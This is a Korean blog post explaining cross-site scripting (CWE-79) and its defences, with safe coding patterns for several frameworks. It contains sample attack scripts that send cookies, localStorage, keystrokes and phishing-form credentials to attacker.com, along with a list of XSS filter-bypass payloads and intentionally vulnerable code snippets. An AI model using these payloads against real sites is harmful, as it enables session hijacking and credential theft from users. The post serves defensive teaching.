
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)은 신뢰할 수 없는 사용자 입력을 적절히 검증하거나 인코딩하지 않고 웹 페이지에 그대로 출력하여, 브라우저가 악성 스크립트를 실행하도록 만드는 취약점입니다. XSS는 세션 탈취, 계정 가로채기, CSRF 결합 공격, 임의 코드 실행 등 심각한 보안 위협으로 이어질 수 있으며, OWASP Top 10에서 지속적으로 상위권을 차지하고 있습니다.
목차
- XSS가 발생하는 근본 원인
- XSS 3대 유형과 공격 흐름
- 실제 영향과 공격 시나리오
- 실전 방어 전략 (우선순위 포함)
- 프레임워크/언어별 안전 패턴
- 취약/안전 코드 스니펫 모음
- 테스트용 페이로드 샘플
- 보안 체크리스트
- Go로 보는 안전한 구현 데모
- 관련 맵핑 및 분류
- 결론
XSS가 발생하는 근본 원인
브라우저는 동일 출처 정책(Same-Origin Policy, SOP) 하에서 웹 페이지에 포함된 스크립트를 해당 도메인의 권한으로 실행합니다. 문제는 사용자 제어 입력(쿼리 파라미터, 폼 데이터, 쿠키, HTTP 헤더, 데이터베이스 값 등)이 적절히 인코딩되지 않은 채 HTML/JavaScript/CSS/URL/속성 컨텍스트에 삽입되면, 브라우저가 이를 코드로 해석한다는 점입니다.
핵심 메커니즘
사용자 입력 → 서버 처리 → 웹 페이지 생성 → 브라우저 렌더링
↓
인코딩 누락 시
↓
악성 스크립트 실행
취약점 발생 조건
| 조건 | 설명 | 예시 |
|---|---|---|
| 신뢰할 수 없는 입력 | 외부에서 제어 가능한 데이터 | URL 파라미터, 폼 데이터, 쿠키 |
| 부적절한 중화 | 컨텍스트별 인코딩 누락 | HTML 엔티티 변환 미적용 |
| 동적 콘텐츠 생성 | 입력값이 페이지에 반영됨 | 검색 결과, 사용자 프로필 |
XSS 3대 유형과 공격 흐름
1. Reflected XSS (반사형, Type 1)
서버가 요청 값을 즉시 응답에 반영하여 발생하는 유형입니다. 공격자는 피싱 링크나 악성 URL을 통해 피해자를 유도합니다.
공격 흐름
1. 공격자가 악성 URL 생성
https://example.com/search?q=<script>alert(document.cookie)</script>
2. 피해자가 링크 클릭
3. 서버가 쿼리 파라미터를 그대로 응답에 포함
4. 브라우저가 스크립트 실행 → 세션 쿠키 탈취
취약한 코드 예시 (PHP)
// ❌ 취약: username을 그대로 HTML에 삽입
<?php
$username = $_GET['username'];
echo "<div>Welcome, $username</div>";
?>
안전한 코드 (PHP)
// ✅ HTML Body 컨텍스트 이스케이프
<?php
$username = $_GET['username'] ?? '';
echo "<div>Welcome, " . htmlspecialchars($username, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . "</div>";
?>
2. Stored XSS (저장형, Type 2)
공격 페이로드가 데이터베이스, 로그, 게시글 등 서버측 저장소에 영구 저장되어, 이후 페이지 렌더링 시 다수 사용자에게 전파되는 유형입니다. Reflected XSS보다 영향 범위가 크고 지속적입니다.
공격 흐름
1. 공격자가 게시글에 악성 스크립트 삽입
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
2. 서버가 검증 없이 DB에 저장
3. 다른 사용자가 게시글 조회
4. 서버가 DB 값을 그대로 렌더링
5. 모든 방문자의 브라우저에서 스크립트 실행
취약한 코드 예시 (Java/JSP)
// ❌ 취약: DB의 name을 그대로 출력
String name = rs.getString("name");
out.print("Employee Name: " + name);
안전한 코드 (JSP)
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<!-- ✅ JSTL <c:out>은 자동 이스케이프 -->
Employee Name: <c:out value="${name}" />
3. DOM-Based XSS (클라이언트측, Type 0)
클라이언트측 JavaScript가 location.hash, document.URL, innerHTML 등에서 받은 값을 DOM에 주입하며 발생합니다. 서버를 거치지 않고 브라우저 내에서만 발생하는 것이 특징입니다.
공격 흐름
1. 공격자가 URL 프래그먼트 조작
https://example.com/page#<img src=x onerror=alert(1)>
2. 클라이언트 JS가 location.hash 읽음
3. innerHTML로 DOM에 직접 삽입
4. 브라우저가 스크립트 실행 (서버 로그에 기록 없음)
취약한 코드 예시 (JavaScript)
<!-- ❌ 취약: innerHTML 직접 대입 -->
<div id="box"></div>
<script>
document.getElementById('box').innerHTML = location.hash.slice(1);
</script>
안전한 코드 (JavaScript)
<!-- ✅ textContent 사용 또는 sanitizer -->
<div id="box"></div>
<script>
// 방법 1: textContent 사용 (HTML 파싱 없음)
document.getElementById('box').textContent = location.hash.slice(1);
// 방법 2: DOMPurify 같은 검증된 sanitizer 사용
// document.getElementById('box').innerHTML = DOMPurify.sanitize(location.hash.slice(1));
</script>
실제 영향과 공격 시나리오
공통 영향 (Common Impact)
| 영향 | 설명 | 심각도 |
|---|---|---|
| 세션/쿠키 탈취 | document.cookie로 인증 토큰 유출 |
Critical |
| 계정 가로채기 | 탈취한 세션으로 사용자 권한 획득 | Critical |
| 권한 상승 | 관리자 계정 탈취 시 시스템 장악 | Critical |
| CSRF 결합 | 사용자 의사와 무관한 상태 변경 요청 | High |
| 임의 코드 실행 | 브라우저 내 악성 스크립트 실행 | High |
| 콘텐츠 변조 | 피싱 페이지 삽입, 정보 왜곡 | Medium |
실제 공격 시나리오
시나리오 1: 세션 하이재킹
// 공격자가 삽입한 스크립트
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
localStorage: JSON.stringify(localStorage)
})
});
</script>
시나리오 2: 키로거 삽입
// 모든 키 입력을 공격자 서버로 전송
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>
시나리오 3: 피싱 페이지 오버레이
// 가짜 로그인 폼 표시
<script>
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
<h1>Session Expired - Please Login Again</h1>
<form action="https://attacker.com/phish" method="POST">
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<button>Login</button>
</form>
</div>
`;
</script>
실전 방어 전략 (우선순위 포함)
1. 컨텍스트별 출력 인코딩 (최우선)
출력 위치마다 필요한 이스케이프가 다릅니다. 이는 가장 중요하고 효과적인 방어 수단입니다.
컨텍스트별 안전한 처리
| 컨텍스트 | 안전한 처리 방법 | 예시 |
|---|---|---|
| HTML Body | &, <, >, ", ' → HTML 엔티티화 |
&, <, >, ", ' |
| 속성 값 | 위 + 속성 경계 보장, URL은 별도 검증 | <div title="<?= htmlspecialchars($val) ?>"> |
| JavaScript 리터럴 | JSON 직렬화 사용 | var data = <?= json_encode($val) ?>; |
| URL/쿼리 | encodeURIComponent / 서버측 URL 인코딩 |
?name=<?= urlencode($val) ?> |
| CSS | 원칙적으로 사용자 입력 금지 | 불가피 시 엄격한 허용목록 |
프레임워크의 자동 이스케이프 활용
✅ 권장: 템플릿 엔진의 자동 이스케이프 사용
- JSP JSTL <c:out>
- Thymeleaf (기본 이스케이프)
- Django ({{ variable }})
- Rails ERB (<%= h variable %>)
- Go html/template
- React/Vue (기본 바인딩)
2. 정책/헤더로 방어 심층화 (Defense-in-Depth)
Content Security Policy (CSP)
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'self'
핵심 효과:
- 인라인 스크립트 차단 (
<script>태그 내 코드) - 신뢰된 출처의 스크립트만 허용
eval(),Function()같은 동적 코드 실행 차단
nonce/hash 기반 인라인 허용:
Content-Security-Policy: script-src 'self' 'nonce-r4nd0mV4lu3'
<script nonce="r4nd0mV4lu3">
// 이 스크립트만 실행 허용
console.log('Safe inline script');
</script>
쿠키 보안 속성
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
| 속성 | 효과 |
|---|---|
| HttpOnly | JavaScript에서 document.cookie 접근 차단 |
| Secure | HTTPS 연결에서만 쿠키 전송 |
| SameSite=Strict | 크로스 사이트 요청 시 쿠키 전송 차단 |
정확한 문자 인코딩 선언
Content-Type: text/html; charset=UTF-8
<meta charset="UTF-8">
이유: 인코딩 불일치로 인한 우회 공격 방지 (UTF-7 XSS 등)
3. 입력 검증 (허용목록 기반)
⚠️ 주의: 입력 검증은 보조 수단이며, 출력 인코딩이 1순위입니다.
검증 전략
// ✅ 형식/길이/범위 검증
function validateUsername(username) {
// 허용목록: 영문자, 숫자, 언더스코어만
const pattern = /^[a-zA-Z0-9_]{3,20}$/;
return pattern.test(username);
}
// ✅ ID → 실제값 매핑으로 코드 진입 차단
const ALLOWED_THEMES = {
'1': 'light',
'2': 'dark',
'3': 'auto'
};
function getTheme(themeId) {
return ALLOWED_THEMES[themeId] || 'light';
}
4. 안전한 API/라이브러리 사용
서버 렌더링
✅ 자동 이스케이프 템플릿 엔진 사용
❌ 문자열 연결로 HTML 생성 금지
클라이언트 HTML 주입
// ❌ 위험: innerHTML 직접 사용
element.innerHTML = userInput;
// ✅ 안전: textContent 사용
element.textContent = userInput;
// ✅ 안전: DOM API 사용
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);
// ✅ 필요 시: 검증된 Sanitizer 사용
element.innerHTML = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: []
});
5. 아키텍처/운영 측면
WAF/리버스 프록시
⚠️ WAF는 긴급 차단용이며, 근본 해결책이 아닙니다.
# ModSecurity 규칙 예시
SecRule ARGS "@rx <script" "id:1001,deny,status:403,msg:'XSS Attempt'"
로그인/관리 페이지 추가 보호
- 2FA (Two-Factor Authentication) 적용
- 별도 서브도메인 사용 (
admin.example.com) - 엄격한 CSP 정책 적용
- IP 화이트리스트 고려
보안 테스트 통합
security_testing:
- SAST (Static Application Security Testing)
- DAST (Dynamic Application Security Testing)
- 페이로드 퍼징
- XSS Cheat Sheet 기반 케이스 추가
프레임워크/언어별 안전 패턴
Go (net/http + html/template)
// ✅ html/template는 자동 이스케이프 제공
package main
import (
"html/template"
"net/http"
)
var tmpl = template.Must(template.New("page").Parse(`
<!doctype html>
<meta charset="utf-8">
<h1>User Profile</h1>
<p>Username: {{.Username}}</p>
<p>Bio: {{.Bio}}</p>
`))
type User struct {
Username string
Bio string
}
func handler(w http.ResponseWriter, r *http.Request) {
user := User{
Username: r.FormValue("username"),
Bio: r.FormValue("bio"),
}
// html/template가 컨텍스트별 자동 이스케이프 수행
_ = tmpl.Execute(w, user)
}
주의: text/template는 HTML 이스케이프 컨텍스트를 인지하지 못하므로 html/template 사용 필수
Spring MVC / Thymeleaf
<!-- ✅ 기본 이스케이프 -->
<p th:text="${username}"></p>
<div th:text="${bio}"></div>
<!-- ❌ 비활성화: th:utext는 신중히 사용 -->
<!-- <div th:utext="${richContent}"></div> -->
<!-- ✅ 필요 시 서버측 sanitizer 선행 -->
<div th:utext="${@sanitizer.clean(richContent)}"></div>
Node.js / Express + Pug (EJS)
//- ✅ 기본 이스케이프
p= username
div= bio
//- ❌ 비활성화: != 사용 지양
//- div!= richContent
//- ✅ 필요 시 sanitizer 사용
div!= sanitize(richContent)
// Express 보안 헤더 설정
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
objectSrc: ["'none'"],
baseUri: ["'self'"]
}
}));
app.use((req, res, next) => {
res.cookie('sessionId', req.sessionID, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
next();
});
Django / Jinja2
{# ✅ 기본 변수 출력은 자동 이스케이프 #}
<p>{{ username }}</p>
<div>{{ bio }}</div>
{# ❌ |safe 사용 지양 #}
{# <div>{{ rich_content|safe }}</div> #}
{# ✅ 필요 시 bleach 같은 sanitizer 선행 #}
<div>{{ rich_content|sanitize }}</div>
# Django 보안 설정
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True
# CSP 설정 (django-csp 사용)
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_OBJECT_SRC = ("'none'",)
React / Vue.js
// React - ✅ 기본 바인딩은 자동 이스케이프
function UserProfile({ username, bio }) {
return (
<div>
<h1>{username}</h1>
<p>{bio}</p>
</div>
);
}
// ❌ dangerouslySetInnerHTML 사용 지양
// <div dangerouslySetInnerHTML={{ __html: richContent }} />
// ✅ 필요 시 DOMPurify 사용
import DOMPurify from 'dompurify';
function RichContent({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
<!-- Vue.js - ✅ 기본 바인딩은 자동 이스케이프 -->
<template>
<div>
<h1>{{ username }}</h1>
<p>{{ bio }}</p>
</div>
</template>
<!-- ❌ v-html 사용 지양 -->
<!-- <div v-html="richContent"></div> -->
<!-- ✅ 필요 시 sanitizer 사용 -->
<div v-html="sanitize(richContent)"></div>
취약/안전 코드 스니펫 모음
1. HTML Body 컨텍스트
// ❌ 취약: innerHTML 직접 대입
const box = document.getElementById('box');
box.innerHTML = userInput;
// ✅ 안전: textContent 사용
box.textContent = userInput;
// ✅ 안전: createTextNode 사용
const textNode = document.createTextNode(userInput);
box.appendChild(textNode);
2. URL/속성 컨텍스트
<!-- ❌ 취약: 검증 없는 URL 대입 -->
<a id="link"></a>
<script>
document.getElementById('link').href = location.search.slice(1);
</script>
<!-- ✅ 안전: URL 정규화/검증 -->
<a id="link"></a>
<script>
const params = new URLSearchParams(location.search);
const next = params.get('next') || '/';
try {
const url = new URL(next, location.origin);
// 동일 출처만 허용
if (url.origin === location.origin) {
document.getElementById('link').href = url.toString();
}
} catch (e) {
// 잘못된 URL
document.getElementById('link').href = '/';
}
</script>
3. JavaScript 컨텍스트 (리터럴 주입 금지)
<!-- ❌ 취약: 직접 삽입 -->
<script>
var name = '<?= $_GET['name'] ?>';
</script>
<!-- ✅ 안전: JSON 직렬화 -->
<script>
var name = <?= json_encode($_GET['name'] ?? '', JSON_HEX_TAG | JSON_HEX_AMP) ?>;
</script>
4. 이벤트 핸들러
<!-- ❌ 취약: 인라인 이벤트 핸들러에 직접 삽입 -->
<button onclick="alert('Hello, <?= $name ?>')">Click</button>
<!-- ✅ 안전: 이벤트 리스너 사용 -->
<button id="btn">Click</button>
<script>
const name = <?= json_encode($name) ?>;
document.getElementById('btn').addEventListener('click', function() {
alert('Hello, ' + name);
});
</script>
5. CSS 컨텍스트
<!-- ❌ 취약: 사용자 입력을 CSS에 직접 삽입 -->
<style>
.box { background-color: <?= $color ?>; }
</style>
<!-- ✅ 안전: 허용목록 기반 선택 -->
<?php
$allowed_colors = ['red', 'blue', 'green'];
$color = in_array($_GET['color'], $allowed_colors) ? $_GET['color'] : 'white';
?>
<style>
.box { background-color: <?= $color ?>; }
</style>
테스트용 페이로드 샘플
기본 페이로드
<!-- 기본 스크립트 태그 -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<!-- 대소문자 변형 -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
속성 탈출
<!-- 속성 경계 탈출 -->
" onmouseover="alert(1)
' onmouseover='alert(1)
"> <script>alert(1)</script>
<!-- 이벤트 핸들러 -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
URL 스킴
<!-- JavaScript 프로토콜 -->
<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)"></iframe>
<!-- Data URI -->
<a href="data:text/html,<script>alert(1)</script>">Click</a>
인코딩 우회
<!-- HTML 엔티티 -->
<img src=x onerror="alert(1)">
<!-- URL 인코딩 -->
<a href="javascript:%61%6c%65%72%74%28%31%29">Click</a>
<!-- 유니코드 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
SVG/네임스페이스
<!-- SVG 태그 -->
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<!-- Math/XML 네임스페이스 -->
<math><mtext><script>alert(1)</script></mtext></math>
템플릿/JS 컨텍스트 혼합
// 템플릿 리터럴 탈출
'});alert(1);//
`);alert(1);//
// JSON 탈출
{"name":"</script><script>alert(1)</script>"}
필터 우회
<!-- 공백 대체 -->
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)>
<!-- 주석 삽입 -->
<img src=x o<!---->nerror=alert(1)>
<!-- NULL 바이트 (구형 브라우저) -->
<script>alert(1)%00</script>
주의사항:
- 애플리케이션의 모든 입력 경로 테스트 필수
- URL 파라미터, POST 데이터, 쿠키, HTTP 헤더
- Referer, User-Agent, X-Forwarded-For
- PATH_INFO, 파일명, 업로드 콘텐츠
- 데이터베이스 필드, 로그 뷰어, 관리 콘솔
- 2차 렌더링 지점 (관리자 페이지, 로그 뷰어, 리포트) 특히 주의
보안 체크리스트
개발 단계
- 템플릿 엔진의 자동 이스케이프 기능 사용 (html/template, Thymeleaf, Django 등)
- 출력 컨텍스트별 인코딩 적용 (HTML/속성/JS/URL/CSS)
- DOM 조작 시
textContent,setAttribute,createTextNode사용 -
innerHTML,dangerouslySetInnerHTML,v-html사용 최소화 - 필요 시 검증된 Sanitizer 사용 (DOMPurify, bleach 등)
- 허용목록 기반 입력 검증 (타입/길이/패턴/비즈니스 룰)
보안 헤더 설정
- CSP 최소
default-src 'self'; script-src 'self'적용 - 인라인 스크립트 필요 시 nonce/hash 사용
- 쿠키에
HttpOnly; Secure; SameSite=Strict설정 - 응답 인코딩 고정 (
Content-Type: text/html; charset=UTF-8) -
X-Content-Type-Options: nosniff설정 -
X-Frame-Options: DENY또는SAMEORIGIN설정
테스트 및 검증
- SAST/DAST 도구 파이프라인 통합
- XSS 페이로드 퍼징 테스트 수행
- 모든 입력 경로 전수 테스트 (파라미터, 헤더, 쿠키 등)
- 2차 렌더링 지점 (로그/관리 콘솔) 검증
- 브라우저 개발자 도구로 CSP 정책 확인
운영 및 모니터링
- WAF 규칙 적용 (긴급 차단용)
- 로그인/관리 페이지 추가 보호 (2FA, IP 제한)
- 보안 패치 적용 프로세스 수립
- CSP 위반 리포트 모니터링 (
report-uri설정)
Go로 보는 안전한 구현 데모
// go run main.go
package main
import (
"html/template"
"log"
"net/http"
)
// html/template는 컨텍스트별 자동 이스케이프 제공
var page = template.Must(template.New("p").Parse(`
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>XSS Safe Echo</title>
<style>
body { font-family: sans-serif; max-width: 600px; margin: 50px auto; }
form { margin: 20px 0; }
input { padding: 8px; width: 300px; }
button { padding: 8px 16px; }
.result { background: #f0f0f0; padding: 15px; border-radius: 4px; }
</style>
</head>
<body>
<h1>XSS Safe Echo Demo</h1>
<p>이 페이지는 html/template의 자동 이스케이프로 XSS를 방어합니다.</p>
<form method="GET">
<input name="q" placeholder="Try: <script>alert(1)</script>" value="{{.Q}}">
<button type="submit">Echo</button>
</form>
{{if .Q}}
<div class="result">
<h2>Echo Result:</h2>
<p><strong>입력값:</strong> {{.Q}}</p>
<p><strong>길이:</strong> {{len .Q}} characters</p>
</div>
{{end}}
<hr>
<h3>테스트 페이로드:</h3>
<ul>
<li><code><script>alert(1)</script></code></li>
<li><code><img src=x onerror=alert(1)></code></li>
<li><code>" onmouseover="alert(1)</code></li>
</ul>
</body>
</html>
`))
type model struct {
Q string
}
func handler(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query().Get("q")
// html/template가 HTML 컨텍스트 자동 이스케이프
// <script> → <script>
if err := page.Execute(w, model{Q: q}); err != nil {
http.Error(w, "Template error", http.StatusInternalServerError)
log.Printf("Template execution error: %v", err)
}
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", handler)
// 보안 헤더 미들웨어
secure := func(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Content Security Policy
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self'; "+
"style-src 'self' 'unsafe-inline'; "+
"object-src 'none'; "+
"base-uri 'self'; "+
"frame-ancestors 'self'")
// 추가 보안 헤더
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("X-Frame-Options", "DENY")
w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
// 쿠키 보안 속성 (세션 사용 시)
// http.SetCookie(w, &http.Cookie{
// Name: "session",
// Value: "...",
// HttpOnly: true,
// Secure: true,
// SameSite: http.SameSiteStrictMode,
// })
h.ServeHTTP(w, r)
})
}
log.Println("🚀 Server listening on http://localhost:8080")
log.Println("📝 Try: http://localhost:8080/?q=<script>alert(1)</script>")
log.Fatal(http.ListenAndServe(":8080", secure(mux)))
}
실행 및 테스트
# 서버 실행
go run main.go
# 브라우저에서 테스트
# http://localhost:8080/?q=<script>alert(1)</script>
# http://localhost:8080/?q=<img src=x onerror=alert(1)>
# curl로 응답 확인
curl "http://localhost:8080/?q=<script>alert(1)</script>"
예상 출력 (HTML 소스)
<p><strong>입력값:</strong> <script>alert(1)</script></p>
핵심 포인트:
html/template가<script>→<script>로 자동 변환- CSP 헤더로 인라인 스크립트 차단
- 보안 헤더로 다층 방어 구현
관련 맵핑 및 분류
CWE 분류
| CWE ID | 이름 | 관계 |
|---|---|---|
| CWE-79 | Improper Neutralization of Input During Web Page Generation (XSS) | 주 취약점 |
| CWE-352 | Cross-Site Request Forgery (CSRF) | XSS와 결합 시 위험 증폭 |
| CWE-74 | Improper Neutralization of Special Elements in Output | 상위 범주 (Injection) |
| CWE-116 | Improper Encoding or Escaping of Output | 근본 원인 |
| CWE-20 | Improper Input Validation | 보조 방어 |
OWASP 분류
| 분류 | 버전 | 순위 |
|---|---|---|
| OWASP Top 10 2021 | A03: Injection | XSS 포함 |
| OWASP Top 10 2017 | A7: Cross-Site Scripting (XSS) | 독립 항목 |
| OWASP ASVS | V5: Validation, Sanitization and Encoding | 관련 요구사항 |
CAPEC 공격 패턴
| CAPEC ID | 이름 | 설명 |
|---|---|---|
| CAPEC-591 | Reflected XSS | 반사형 XSS 공격 |
| CAPEC-592 | Stored XSS | 저장형 XSS 공격 |
| CAPEC-588 | DOM-Based XSS | DOM 기반 XSS 공격 |
| CAPEC-63 | Cross-Site Scripting (XSS) | 일반 XSS 공격 |
MITRE ATT&CK
Tactic: Initial Access, Execution
Technique: T1189 - Drive-by Compromise
Sub-technique: XSS를 통한 브라우저 익스플로잇
결론
CWE-79: Cross-Site Scripting (XSS)는 웹 애플리케이션에서 가장 흔하고 위험한 취약점 중 하나입니다. 하지만 컨텍스트별 출력 인코딩과 안전한 렌더링 추상화만 잘 지켜도 대부분 차단할 수 있습니다.
핵심 방어 원칙
1. 출력 인코딩이 최우선
입력 검증은 보조 수단입니다.
출력 시점의 컨텍스트별 인코딩이 핵심입니다.
2. 프레임워크의 자동 이스케이프 활용
✅ html/template, Thymeleaf, Django, React 등의 기본 기능 사용
❌ 문자열 연결로 HTML 생성 금지
3. 방어 심층화 (Defense-in-Depth)
출력 인코딩 + CSP + HttpOnly 쿠키 + 입력 검증
4. 특별 주의 지점
⚠️ DOM 조작 (innerHTML, dangerouslySetInnerHTML)
⚠️ 2차 렌더링 (관리 콘솔, 로그 뷰어, 리치 텍스트)
⚠️ URL/속성 컨텍스트 (javascript:, data: 스킴)
최종 권고사항
개발자:
- 템플릿 엔진의 자동 이스케이프 기능을 신뢰하고 사용하세요
innerHTML,eval()같은 위험한 API 사용을 최소화하세요- 필요 시 검증된 Sanitizer 라이브러리를 사용하세요
보안 담당자:
- CSP 정책을 점진적으로 강화하세요 (report-only → enforce)
- SAST/DAST 도구를 CI/CD 파이프라인에 통합하세요
- 정기적인 보안 교육과 코드 리뷰를 수행하세요
조직:
- 보안 코딩 가이드라인을 수립하고 공유하세요
- 취약점 발견 시 신속한 패치 프로세스를 마련하세요
- 버그 바운티 프로그램을 고려하세요
XSS는 예방 가능한 취약점입니다. 올바른 인코딩과 안전한 개발 관행만 지킨다면, 대부분의 XSS 공격을 효과적으로 차단할 수 있습니다.
참고 자료
'Vulnerability' 카테고리의 다른 글
| [Vulnerability] CWE-787: Out-of-Bounds Write - 메모리 경계 위반 취약점 (0) | 2025.11.02 |
|---|